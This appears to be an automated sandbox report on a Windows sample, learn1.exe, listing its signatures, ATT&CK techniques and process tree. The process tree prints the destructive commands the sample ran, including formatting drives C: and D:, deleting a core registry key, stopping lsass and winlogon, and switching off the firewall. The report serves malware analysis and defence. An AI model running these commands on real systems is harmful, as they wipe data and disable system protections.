Overview

overview

10

Static

static

3

learn1.exe

windows10-2004-x64

10

learn1.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    98s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 23:20

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General

  • Target
    learn1.exe
  • Size 212KB
  • Sample260705-3bewdags4t
  • SHA256 4ee05c5e4ce5fed2e39450161fb9271656651c39da1705926c40f4567b80f920
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarebootkitdefense_evasionexecutionpersistenceprivilege_escalationransomwarespywarestealer

Malware Config

Signatures

  • Adds autorun key to be loaded by Explorer.exe on startup 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Installs/modifies Browser Helper Object 2 TTPs 4 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Power Settings 1 TTPs 6 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 31 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 20 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\learn1.exe
    "C:\Users\Admin\AppData\Local\Temp\learn1.exe"
    1⤵
    • Drops file in Drivers directory
    • Writes to the Master Boot Record (MBR)
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:5980
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2792
      • C:\Windows\system32\reg.exe
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion /f
        3⤵
        • Adds autorun key to be loaded by Explorer.exe on startup
        • Adds Run key to start application
        • Installs/modifies Browser Helper Object
        • Modifies registry key
        PID:3508
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ipconfig /release
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4368
      • C:\Windows\system32\ipconfig.exe
        ipconfig /release
        3⤵
        • Gathers network information
        PID:2980
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop winlogon
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1204
      • C:\Windows\system32\sc.exe
        sc stop winlogon
        3⤵
        • Launches sc.exe
        PID:5840
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powercfg /setacvalueindex SCHEME_CURRENT SUB_FAN FAN 0
      2⤵
      • Power Settings
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\system32\powercfg.exe
        powercfg /setacvalueindex SCHEME_CURRENT SUB_FAN FAN 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2560
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PERFINCTHRESHOLD 0
      2⤵
      • Power Settings
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\system32\powercfg.exe
        powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PERFINCTHRESHOLD 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4800
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop lsass
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5612
      • C:\Windows\system32\sc.exe
        sc stop lsass
        3⤵
        • Launches sc.exe
        PID:5720
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 5980 -s 2324
      2⤵
        PID:1732
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c format C: /Q /Y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4928
        • C:\Windows\system32\format.com
          format C: /Q /Y
          3⤵
            PID:1300
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5756
          • C:\Windows\system32\netsh.exe
            netsh advfirewall set allprofiles state off
            3⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:2024
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PROCTHROTTLEMAX 100
          2⤵
          • Power Settings
          • Suspicious use of WriteProcessMemory
          PID:1488
          • C:\Windows\system32\powercfg.exe
            powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PROCTHROTTLEMAX 100
            3⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:5488
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c format D: /Q /Y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3864
          • C:\Windows\system32\format.com
            format D: /Q /Y
            3⤵
            • Enumerates connected drives
            PID:5760
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh int ip delete
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2232
          • C:\Windows\system32\netsh.exe
            netsh int ip delete
            3⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:6012
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc stop audiosrv
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3336
          • C:\Windows\system32\sc.exe
            sc stop audiosrv
            3⤵
            • Launches sc.exe
            PID:4248
      • C:\Windows\system32\AUDIODG.EXE
        C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004A8
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1220
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:4756
        • C:\Windows\system32\sihost.exe
          sihost.exe
          1⤵
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2180
          • C:\Windows\explorer.exe
            explorer.exe /LOADSAVEDWINDOWS
            2⤵
            • Boot or Logon Autostart Execution: Active Setup
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:3044
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:3924
        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:5472

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              System Services

              1
              T1569

              Service Execution

              1
              T1569.002

              Persistence

              Boot or Logon Autostart Execution

              3
              T1547

              Active Setup

              1
              T1547.014

              Registry Run Keys / Startup Folder

              2
              T1547.001

              Browser Extensions

              1
              T1176

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Event Triggered Execution

              1
              T1546

              Netsh Helper DLL

              1
              T1546.007

              Power Settings

              1
              T1653

              Pre-OS Boot

              1
              T1542

              Bootkit

              1
              T1542.003

              Privilege Escalation

              Boot or Logon Autostart Execution

              3
              T1547

              Active Setup

              1
              T1547.014

              Registry Run Keys / Startup Folder

              2
              T1547.001

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Event Triggered Execution

              1
              T1546

              Netsh Helper DLL

              1
              T1546.007

              Defense Evasion

              Impair Defenses

              2
              T1562

              Disable or Modify System Firewall

              1
              T1562.004

              Modify Registry

              6
              T1112

              Pre-OS Boot

              1
              T1542

              Bootkit

              1
              T1542.003

              Credential Access

              Credentials from Password Stores

              1
              T1555

              Credentials from Web Browsers

              1
              T1555.003

              Unsecured Credentials

              1
              T1552

              Credentials In Files

              1
              T1552.001

              Discovery

              Peripheral Device Discovery

              2
              T1120

              Query Registry

              3
              T1012

              System Information Discovery

              3
              T1082

              Lateral Movement

              Collection

              Data from Local System

              1
              T1005

              Command and Control

              Exfiltration

              Impact

              Service Stop

              1
              T1489

              Replay Monitor

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              Downloads

              prep_Activatable Class_Hermes_perf.cache
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 607B
              • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/5472-44-0x000002C1801E0000-0x000002C1802E0000-memory.dmp
              Download

              memory/5472-90-0x000002C194790000-0x000002C1947B0000-memory.dmp
              Download

              memory/5472-56-0x000002C194000000-0x000002C194100000-memory.dmp
              Download

              memory/5472-45-0x000002C1801E0000-0x000002C1802E0000-memory.dmp
              Download

              memory/5472-76-0x000002C181D80000-0x000002C181DA0000-memory.dmp
              Download

              memory/5472-46-0x000002C1801E0000-0x000002C1802E0000-memory.dmp
              Download

              memory/5472-55-0x000002C181B60000-0x000002C181B80000-memory.dmp
              Download

              memory/5980-0-0x0000000140000000-0x0000000140035000-memory.dmp
              Download

              memory/5980-8-0x0000000140000000-0x0000000140035000-memory.dmp
              Download

              memory/5980-12-0x0000000140000000-0x0000000140035000-memory.dmp
              Download